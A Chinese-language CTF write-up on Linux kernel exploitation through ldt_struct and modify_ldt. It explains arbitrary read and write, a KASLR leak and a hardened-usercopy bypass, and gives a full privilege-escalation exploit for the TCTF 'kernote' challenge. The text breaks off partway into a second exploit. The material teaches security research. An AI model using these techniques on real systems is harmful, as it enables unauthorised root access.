Kernel Pwn Struct ldt_struct and Syscall modify_ldt
代码分析
struct ldt_struct
内存管理中有一个分段机制, 除了 全局段描述符表 以外, Linux 还支持每个进程独有一个 局部段描述符表. 无论是 GDT 还是 LDT, 其中存的都是一些关于分段的信息. 这个表的每一项是一个段描述符, 包括段的 (起始) 地址, 界限 (大小), 以及属性权限.
局部段描述符表结构如下:
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
其中 entries
是段描述符数组指针, nr_entries
是段描述符的个数. 可以看到, struct ldt_struct
的大小是 0x10.
struct desc_struct
如下:
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
大小为 8 个字节, 其中的内容就是地址, 界限和属性.
modify_ldt
有个系统调用 modify_ldt, 提供了对当前进程的 LDT 读写的操作, 代码如下:
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;
switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}
read_ldt()
将读取 ldt_struct->entries
最多 bytecount
个字节到 ptr
指针处:
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;
down_read(&mm->context.ldt_usr_sem);
if (!mm->context.ldt) {
retval = 0;
goto out_unlock;
}
if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;
entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
if (entries_size != bytecount) {
/* Zero-fill the rest and pretend we read bytecount bytes. */
if (clear_user(ptr + entries_size, bytecount - entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
}
retval = bytecount;
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
write_ldt()
修改某项 ldt:
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;
error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;
error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
if (ldt_info.contents == 3) {
if (oldmode)
goto out;
if (ldt_info.seg_not_present == 0)
goto out;
}
if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
LDT_empty(&ldt_info)) {
/* The user wants to clear the entry. */
memset(&ldt, 0, sizeof(ldt));
} else {
if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
error = -EINVAL;
goto out;
}
fill_ldt(&ldt, &ldt_info);
if (oldmode)
ldt.avl = 0;
}
// ...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
// ...
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
finalize_ldt_struct(new_ldt);
// ...
error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
// ...
install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
error = 0;
out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}
可以看到, 参数 ptr
是 struct user_desc
指针, bytecount
必须等于 sizeof(struct user_desc)
. 在 fill_ldt()
中根据传入的 user_desc
转换为 struct desc_struct
, 即段描述符.
其中, struct user_desc
如下:
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
entry_number 最大值是 LDT_ENTRIES - 1
, 查看源码发现 LDT_ENTRIES
是 8192. 也就是支持 8191 个局部描述符 (下标为 0 的留空)
然后 调用 alloc_ldt_struct()
分配一个 struct ldt_struct
. 如果之前有 LDT, 则将旧的复制到新分配的, 再进行修改. 如果没有则直接修改.
这样做的原因和多核并发读写有关, 不是关注的重点, 同时上述代码也省略掉了并发和锁这一块的处理.
alloc_ldt_struct()
如下:
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (num_entries > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL_ACCOUNT);
if (!new_ldt)
return NULL;
BUILD_BUG_ON(LDT_ENTRY_SIZE != sizeof(struct desc_struct));
alloc_size = num_entries * LDT_ENTRY_SIZE;
/*
* Xen is very picky: it requires a page-aligned LDT that has no
* trailing nonzero bytes in any page that contains LDT descriptors.
* Keep it simple: zero the whole allocation and never allocate less
* than PAGE_SIZE.
*/
if (alloc_size > PAGE_SIZE)
new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO);
else
new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT);
if (!new_ldt->entries) {
kfree(new_ldt);
return NULL;
}
/* The new LDT isn't aliased for PTI yet. */
new_ldt->slot = -1;
new_ldt->nr_entries = num_entries;
return new_ldt;
}
可以看到, struct ldt_struct new_ldt
使用 kmalloc
来分配, 也就是会从 kmalloc-16 中取.
功能
如果有 kmalloc-16 的 UAF, 那么可以:
- read arbitrary (w)
- leak page_offset_base
- leak kbase
- leak page_offset_base
- write arbitrary (w)
任意地址读
由于 write_ldt()
使用 kmalloc
() 从 kmalloc-16 中获取 object, 所以如果有 UAF, 那么可以修改 entries 指针, 然后 read_ldt()
便可以读取指针处的数据.
任意地址读需要的是 UAF 后的可写权限, 非常有意思
泄漏地址
假如只有一个任意地址读, 并且开了 kaslr 的话, 一般不知道从哪个地址读. 所以这里需要进行一下泄漏. 这个泄漏的技巧只要能够控制 copy_to_user()
的 src, 就能够实现泄漏 page_offset_base
(线性映射区, 也就是内核堆) 和 kernel code 偏移.
copy_to_user()
访问非法地址时, 并不会造成 panic, 而是返回一个错误代码. 所以可以多次修改 ldt_struct->entries
并 read_ldt()
, 直到读取成功, 就找到了有效的地址.
没开 kaslr 时, page_offset_base
是常量 0xffff888000000000, 开了 kaslr 后, 会在 kernel_randomize_memory()
中加上一个随机偏移, 这个偏移对齐 PUD_MASK
, 即 $2^30$. 所以我们可以从 0xffff888000000000 开始, 步长 0x40000000 去爆破 page_offset_base
.
一旦得到了 page_offset_base
, 那么我们可以在上面找到稳定的内核函数指针, 如 page_offset_base + 0x9d000
的地方存储着 secondary_startup_64()
函数的地址, 该函数地址在没开 kaslr 下是 0xffffffff81000040, 于是我们可以修改一下 ldt_struct->entries
, 然后 read_ldt()
Bypass Hardened Usercopy
Hardened usercopy 是对 copy_*_user
的一个安全性检查, 简单来说就是内核指针:
- 不允许为空指针
- 不允许指向 kmalloc 分配的零长度区域
- 不允许指向内核代码段
- 如果指向 Slab 则不允许超过 Slab 分配器分配的长度
- 如果指向非 Slab 的堆, 则不允许跨页
- 如果涉及到栈则不允许超出当前进程的栈空间
否则, 内核会 panic.
这样一来, 我们在搜索堆空间的时候, 如果将 bytecount
设置得比较大, 则会 panic; 如果比较小 (如 8), 则效率低.
不过, 有一种非常妙的方法可以绕过 Hardened Usercopy.
在 fork()
的调用链中, 会执行 ldt_dup_context()
, 将父进程的 ldt 拷贝到子进程:
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
struct ldt_struct *new_ldt;
int retval = 0;
if (!old_mm)
return 0;
mutex_lock(&old_mm->context.lock);
if (!old_mm->context.ldt)
goto out_unlock;
new_ldt = alloc_ldt_struct(old_mm->context.ldt->nr_entries);
if (!new_ldt) {
retval = -ENOMEM;
goto out_unlock;
}
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
finalize_ldt_struct(new_ldt);
retval = map_ldt_struct(mm, new_ldt, 0);
if (retval) {
free_ldt_pgtables(mm);
free_ldt_struct(new_ldt);
goto out_unlock;
}
mm->context.ldt = new_ldt;
out_unlock:
mutex_unlock(&old_mm->context.lock);
return retval;
}
可以看到, 调用 alloc_ldt_struct
新分配了一个 struct ldt_struct new_ldt
, 然后用 memcpy()
将 old_ldt->entries
上的数据拷贝到 new_ldt->entries
. new_ldt->entries
地址是 vmalloc 空间上的, 可以正常 copy_to_user()
. 所以父进程修改一下 ldt_struct->entries
, 然后 fork()
一个子进程, 在子进程里 read_ldt
就绕过了非法拷贝的检查.
需要指出, 爆破 page_offset_base
不需要用这个技巧, 只需要设置 bytecount
为 8 即可.
任意地址写
在 write_ldt()
中, 有一个 memcpy()
的过程, 接着有一个写. 代码如下:
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
// ..
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
// ..
}
竞争一个窗口, 可以在 new_ldt->entries[ldt_info.entry_number] = ldt
之前将 new_ldt->entries
给修改了, 然后在相应位置上写 ldt. ldt 这个值可以通过 user_desc
控制, 需要满足限制条件. 不过幸运的是, 0 是可以的. (正好提权就是设置 euid = 0).
这个 new_ldt
是通过 kmalloc()
从 kmalloc-16 中分配出来的, 我们如果有 UAF, 那么可以用 UAF 去修改, 不需要考虑 write_ldt()
加的读写锁.
a3 说这个竞争比较难
例题
2021 TCTF Final kernote
README:
Here are some kernel config options in case you need it
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
可以看到用的是 slab 而不是默认的 slub. slab 的最小分配大小为 32, 即使所需要的空间小于 32, 还是会从 kmalloc-32 等大小为 32 的 slab 中取.
并且开了一些 freelist 的保护, random 是对 freelist 中节点的顺序随机化, hardened 是对 next 和一个值进行异或.
然后还开了 hardened usercopy 以及 static usermodehelper path. 前者以及介绍过了, 后者是将 modprobe_path
设为只读, 避免对 modprobe_path
的利用 (还没学).
qemu 启动脚本:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot
开启 kaslr, kpti, smep, smap.
init:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
#mount -t devtmpfs devtmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev>/proc/sys/kernel/hotplug
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo "flag{testflag}">/flag
chmod 660 /flag
insmod /kernote.ko
#/sbin/mdev -s
chmod 666 /dev/kernote
chmod 777 /tmp
setsid cttyhack setuidgid 1000 sh
poweroff -f
不可查看 kallsyms 和 dmesg.
逆一下 kernote.ko, 主要是在 ioctl 中写了如下功能:
- 0x6667:
else if ( (_DWORD)cmd == 0x6667 ) // 0x6667 malloc
{
v13 = -1LL;
if ( arg_1 <= 0xF )
{
cmd = 3264LL;
v11 = kmem_cache_alloc_trace(kmalloc_caches[5], 3264LL, 8LL, v6, -1LL);
buf[arg_1] = v11;
v13 = -(__int64)(v11 == 0);
}
goto LABEL_15;
}
可以看到, 这里是从 kmalloc_caches[5]
(kmalloc-32) 中取 object, 即便它的大小是 8 (第三个参数). 保存在全局变量数组 buf 的相应下标中, 下标是我们传进来的参数, 不超过 15 个.
- 0x6668:
if ( (_DWORD)cmd == 0x6668 ) // 0x6668 free
{
v13 = -1LL;
if ( arg_1 <= 0xF )
{
v12 = buf[arg_1];
if ( v12 )
{
kfree(v12, cmd, v5, v6, -1LL);
v13 = 0LL;
buf[arg_1] = 0LL;
}
}
goto LABEL_15;
}
简单的 kfree, 并且将其置 NULL 了.
- 0x6666
if ( (_DWORD)cmd == 0x6666 ) // 0x6666 select
{
v13 = -1LL;
if ( arg_1 > 0xF )
goto LABEL_15;
note = buf[arg_1];
}
选择某个下标, 将对应值存到全局变量 note 上.
- 0x6669
if ( (_DWORD)cmd == 0x6669 ) // 0x6669 write
{
v13 = -1LL;
if ( note )
{
*(_QWORD *)note = arg_1;
v13 = 0LL;
}
goto LABEL_15;
}
向 note 指针指向的位置写入 8 个字节.
还有个 0x666A 的功能没什么用, 不放了.
这里很明显就是 select 之后 free 的 UAF, 但是只有写 8 字节的功能. 如果没有 kaslr, 那么可以用 seq_operations
劫持 rip. 所以第一步需要 leak kbase. 这里用之前说的方法即可:
int fd = open("/dev/kernote", O_RDWR);
ioctl(fd, ALLOC, 0);
ioctl(fd, SELECT, 0);
ioctl(fd, FREE, 0);
struct user_desc desc;
memset(&desc, 0, sizeof(desc));
desc.entry_number = 8191;
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
size_t tmp = 0;
while (1) {
ioctl(fd, WRITE, page_offset_base);
if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
break;
page_offset_base += step;
}
printvar(success, "page_offset_base", page_offset_base);
ioctl(fd, WRITE, page_offset_base + 0x9d000);
modify_ldt(READ_LDT, &tmp, sizeof(tmp));
kernel_offset = tmp - secondary_startup_64;
printvar(success, "kernel offset", kernel_offset);
接下来有两个做法, 一个是 seq_operations
+ pt_regs
, 另一个是直接在堆上搜 cred, 并修改 uid 为 0. 前者已经写过, 不再赘述. 详细说一下后者.
上面说道, 我们可以用 fork()
+ read_ldt()
的方法去读内核的任意地址, 那么首先把当前进程的 cred 给搜出来. 这里可以搜 task_struct
, 它记录了进程的所有信息, 当然也包括 cred. 同时, 它还记录了 pid, 程序名等. 我们可以使用 prctl()
修改程序名, 然后搜字符串, 并且根据 cred 和 pid 来判断搜到的是不是当前进程的 task_struct
.
task_struct
相关成员如下:
struct task_struct {
// ...
pid_t pid;
pid_t tgid;
// ...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
//...
};
搜索代码如下:
prctl(PR_SET_NAME, "WingsWingsWings");
int pipefd[2];
pipe(pipefd);
int buf_size = 0x10000;
void *buf = malloc(buf_size);
size_t cur = page_offset_base;
size_t pid = getpid();
size_t cred_addr = 0;
while (1) {
ioctl(fd, WRITE, cur);
if (!fork()) {
cred_addr = 0;
prctl(PR_SET_NAME, "pwn");
modify_ldt(READ_LDT, buf, buf_size);
size_t *p = memmem(buf, buf_size, "WingsWingsWings", 15);
if (p && (int) p[-58] == pid && \
p[-2] > page_offset_base && p[-3] > page_offset_base)
cred_addr = p[-2];
write(pipefd[WRITE_PIPE], &cred_addr, sizeof(cred_addr));
return;
}
wait(NULL);
read(pipefd[READ_PIPE], &cred_addr, sizeof(cred_addr));
if (cred_addr)
break;
cur += buf_size;
}
printvar(success, "cred address", cred_addr);
这里的 buf_size
是 read_ldt()
能够读的最大值 ($8192 \times 8$). 全部读到用户空间后, 看 $-58 \times 8$ 的位置是不是 pid, (官方题解里还加了看前面是不是 cred
和 real_cred
, 但是条件有点弱, 只是看地址是不是在堆上, copy 一下).
找到 cred 地址之后, 利用条件竞争去任意地址写. 不过, 当前的 ldt_struct->entries
已经被我们给修改掉了, 再一次进行 write_ldt()
的话, 代码里有对旧的 ldt 进行处理:
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
// ...
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
// ...
}
这样会导致 unmap 失败. 而我们也没有 UAF 读的功能, 很难去恢复它. 不过, 在介绍绕过 hardened usercopy 时提到, fork()
子进程会去 alloc 新的 ldt, 然后 copy. 这个新的 ldt 虽然内容不对, 但是地址是有效的. 所以后续利用 write_ldt()
, 得先 fork()
一下.
cred 结构体在偏移 0x4 位置开始保存 uid 等, 前面也说过将 ldt 设置为 0 (user_desc.base_addr = 0
, user_desc.limit = 0
) 是可行的, write_ldt()
中的写入代码为 new_ldt->entries[ldt_info.entry_number] = ldt;
, 所以设置 user_desc.entry_number = 0
, 配合竞争修改 new_ldt->entries = &cred + 4
, 便可以将 uid 设置为 0.
很容易写出下面的竞争:
if(!fork()) {
if (!fork()) {
for (;;)
ioctl(fd, WRITE, cred_addr + 4);
}
else {
desc.entry_number = 0;
for (;;) {
ioctl(fd, ALLOC, 0);
ioctl(fd, SELECT, 0);
ioctl(fd, FREE, 0);
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
}
}
}
由于父子进程共享文件描述符号, 所以父进程在 alloc ldt 后, 可以在子进程中不断 UAF 写 ldt_struct->entries
.
这样做有一个缺点, 假如没竞争上, 但是 UAF 改了 ldt_struct->entries
, 那么再次 write_ldt()
会直接 panic. 不过这样确实可以将 uid 修改. 在被修改的父进程不断 getuid()
打印, 发现在 panic 之前是有输出 uid 0 的. 所以可以利用这一小段时间, 将 flag 读出并打印.
if (!fork()) {
desc.entry_number = 0;
if (!fork())
for (;;)
ioctl(fd, WRITE, cred_addr + 4);
else {
for (;;) {
ioctl(fd, ALLOC, 0);
ioctl(fd, SELECT, 0);
ioctl(fd, FREE, 0);
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
}
}
}
else {
for (;getuid(););
printvar(success, "uid", getuid());
setreuid(0, 0);
int flag_fd = open("/flag", O_RDONLY);
read(flag_fd, buf, 0x50);
puts(buf);
}
灵活运用 pipe, 阻塞父子进程, 在 write_ldt()
后检查 uid, 这样可以避免修改 ldt_struct->entries
后又 write_ldt()
, 有概率可以拿 root shell.
if (!fork()) {
if (!fork()) {
for (;;)
ioctl(fd, WRITE, cred_addr + 4);
}
else {
desc.entry_number = 0;
for (;;) {
ioctl(fd, ALLOC, 0);
ioctl(fd, SELECT, 0);
ioctl(fd, FREE, 0);
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
write(pipefd[WRITE_PIPE], &flag, sizeof(flag));
read(pipefd2[READ_PIPE], &flag, sizeof(flag));
}
}
}
else {
for (;;) {
read(pipefd[READ_PIPE], &flag, sizeof(flag));
flag = getuid();
if (flag)
write(pipefd2[WRITE_PIPE], &flag, sizeof(flag));
else {
setreuid(0, 0);
getRootShell();
}
}
}
有时也会 panic, 太菜了找一天了找不到原因. 试了很多方法, 都不能稳定竞争提权 (貌似是开了 panic_on_warn 导致 panic 很多), 官方 exp 神奇的申请释放也看不懂, 就这样吧累了.
完整 exp:
// musl-gcc exp.c -static -masm=intel -g -o exp -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <linux/userfaultfd.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <semaphore.h>
void success(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void fail(const char *msg) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
}
void debug(const char *msg) {
#ifdef DEBUG
char *buf = calloc(0x1000, 1);
sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
fprintf(stderr, "%s", buf);
free(buf);
#endif
}
void printvar(void print_handle(const char *), char *hint, size_t var) {
char *buf = calloc(0x1000, 1);
sprintf(buf, "%s: 0x%lx\n", hint, var);
print_handle(buf);
free(buf);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp &= ~0xf;
success("Status has been saved.\n");
printvar(debug, "cs", user_cs);
printvar(debug, "ss", user_ss);
printvar(debug, "rsp", user_sp);
printvar(debug, "rflags", user_rflags);
}
void getRootShell() {
success("Backing from the kernelspace.\n");
if(getuid()) {
fail("Failed to get the root!\n");
exit(-1);
}
success("Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
#define SELECT 0x6666
#define ALLOC 0x6667
#define FREE 0x6668
#define WRITE 0x6669
#define WRITE_LDT 1
#define READ_LDT 0
#define READ_PIPE 0
#define WRITE_PIPE 1
size_t page_offset_base = 0xffff888000000000;
const size_t step = 1ull << 30;
const size_t secondary_startup_64 = 0xffffffff81000040;
size_t kernel_offset;
int modify_ldt(int func, void *ptr, unsigned long bytecount) {
return syscall(SYS_modify_ldt, func, ptr, bytecount);
}
void sleepForEver() {
sleep(114514);
}
void pwn() {
int fd = open("/dev/kernote", O_RDWR);
ioctl(fd, ALLOC, 0);
ioctl(fd, SELECT, 0);
ioctl(fd, FREE, 0);
struct user_desc desc;
memset(&desc, 0, sizeof(desc));
desc.entry_number = 8191;
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
size_t tmp = 0;
while (1) {
ioctl(fd, WRITE, page_offset_base);
if (modify_ldt(READ_LDT, &tmp, sizeof(tmp)) > 0)
break;
page_offset_base += step;
}
printvar(success, "page_offset_base", page_offset_base);
ioctl(fd, WRITE, page_offset_base + 0x9d000);
modify_ldt(READ_LDT, &tmp, sizeof(tmp));
kernel_offset = tmp - secondary_startup_64;
printvar(success, "kernel offset", kernel_offset);
prctl(PR_SET_NAME, "WingsWingsWings");
int pipefd[2];
pipe(pipefd);
int buf_size = 0x10000;
void *buf = malloc(buf_size);
size_t cur = page_offset_base;
size_t pid = getpid();
size_t cred_addr = 0;
while (1) {
ioctl(fd, WRITE, cur);
if (!fork()) {
cred_addr = 0;
prctl(PR_SET_NAME, "fuck");
modify_ldt(READ_LDT, buf, buf_size);
size_t *p = memmem(buf, buf_size, "WingsWingsWings", 15);
if (p && (int) p[-58] == pid && \
p[-2] > page_offset_base && p[-3] > page_offset_base)
cred_addr = p[-2];
write(pipefd[WRITE_PIPE], &cred_addr, sizeof(cred_addr));
return;
}
wait(NULL);
read(pipefd[READ_PIPE], &cred_addr, sizeof(cred_addr));
if (cred_addr)
break;
cur += buf_size;
}
printvar(success, "cred address", cred_addr);
if (!fork()) {
desc.entry_number = 0;
if (!fork())
for (;;)
ioctl(fd, WRITE, cred_addr + 4);
else {
for (;;) {
ioctl(fd, ALLOC, 0);
ioctl(fd, SELECT, 0);
ioctl(fd, FREE, 0);
modify_ldt(WRITE_LDT, &desc, sizeof(desc));
}
}
}
else {
for (;getuid(););
printvar(success, "uid", getuid());
setreuid(0, 0);
int flag_fd = open("/flag", O_RDONLY);
read(flag_fd, buf, 0x50);
puts(buf);
}
// int pipefd2[2];
// pipe(pipefd2);
// int flag;
// pid = fork();
// if (!pid) {
// if (!fork()) {
// ioctl(fd, ALLOC, 0);
// ioctl(fd, SELECT, 0);
// for (;;)
// ioctl(fd, WRITE, cred_addr + 4);
// }
// else {
// desc.entry_number = 0;
// for (;;) {
// ioctl(fd, ALLOC, 0);
// ioctl(fd, SELECT, 0);
// ioctl(fd, FREE, 0);
// modify_ldt(WRITE_LDT, &desc, sizeof(desc));
// write(pipefd[WRITE_PIPE], &flag, sizeof(flag));
// read(pipefd2[READ_PIPE], &flag, sizeof(flag));
// }
// }
// }
// else {
// for (;;) {
// read(pipefd[READ_PIPE], &flag, sizeof(flag));
// flag = getuid();
// if (flag)
// write(pipefd2[WRITE_PIPE], &flag, sizeof(flag));
// else {
// setreuid(0, 0);
// getRootShell();
// }
// }
// }
}
int main() {
signal(SIGSEGV, getRootShell);
saveStatus();
pwn();
return 0;
}
2023 Real World CTF 体验赛 Digging into Kernel 3
如果题目使用的文件系统是 initrd 或者 initramfs, 那么可以直接在内存中搜 flag. initrd / initramfs 是一种 ram disk, 内核启动时会将文件系统加载到直接映射区中, 然后把这一块当作文件系统.
所以如果有任意地址读, 并且题目用的是 initrd / initramfs, 那么可以直接搜 flag. 下面以被 a3 暴锤的 2023 Real World CTF 体验赛 Digging into Kernel 3 为例.
qemu 启动脚本:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-enable-kvm \
-cpu kvm64,+smap,+smep \
-monitor /dev/null \
-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
-no-reboot \
-snapshot \
-s
开启 smap, smep, kaslr, kpti. 可以看到, 加载文件系统用的选项是 -initrd
.
init:
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t tmpfs none /tmp
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /rwctf.ko
chmod 666 /dev/rwctf
chmod 700 /flag
chmod 400 /proc/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
poweroff -d 120 -f &
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
umount /tmp
poweroff -d 0 -f
安装 rwctf.ko 模块到 /dev/rwctf
, 禁用 kallsyms 和 dmesg.
rwctf.ko 只实现了 ioctl, 稍微逆一下参数结构体是:
struct arg_t
{
uint idx;
uint size;
void *buf;
};
ioctl 逆完是:
__int64 __fastcall rwmod_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // r12
__int64 idx; // rbx
__int64 v6; // rdi
arg_t v7; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+18h] [rbp-18h]
v8 = __readgsqword(0x28u);
if ( !a3 )
return -1LL;
if ( a2 == 0xC0DECAFE )
{
if ( !copy_from_user(&v7, a3, 16LL) && v7.idx <= 1 )
kfree(buf[v7.idx]);
return 0LL;
}
v3 = -1LL;
if ( a2 == 0xDEADBEEF )
{
if ( copy_from_user(&v7, a3, 16LL) )
return 0LL;
idx = v7.idx;
if ( v7.idx > 1 )
return 0LL;
buf[idx] = _kmalloc(v7.size, 3520LL);
v6 = buf[v7.idx];
if ( !v6 )
return 0LL;
if ( v7.size > 0x7FFFFFFFuLL )
BUG();
if ( copy_from_user(v6, v7.buf, v7.size) )
return 0LL;
}
return v3;
}
0xDEADBEEF 能够申请堆块并写入, 0xC0DECAFE 释放堆块, 但是没将指针置零. 堆块一共两个.
单看模块的功能无法 UAF, 但是我们可以先申请然后释放, 这样 buf 指针和 freeilst 里都有这个块. 然后在模块外申请到该堆块, 再用 UAF 释放掉, 最后再重新申请就可以 UAF 写了.
可以看到, 这里的大小是任意的, 有 UAF 写没有 UAF 读. 这题的做法其实多种多样. 利用 read_ldt()
直接开搜的 exp 如下
#define ALLOC 0xDEADBEEF
#define FREE 0xC0DECAFE
#define WRITE_LDT 1
#define READ_LDT 0
#define READ_PIPE 0
#define WRITE_PIPE 1
struct arg_t {
uint idx;
uint size;
size_t *buf;
};
size_t page_offset_base = 0xffff888000000000;
const size_t step = 1ull << 30;
int modify_ldt(int func, void *ptr, unsigned long bytecount) {
return syscall(SYS_modify_ldt, func, ptr, bytecount);
}
void pwn() {
int fd = open("/dev/rwctf", O_RDWR);
struct arg_t arg;
arg.idx = 0;
arg.size = 0x10;
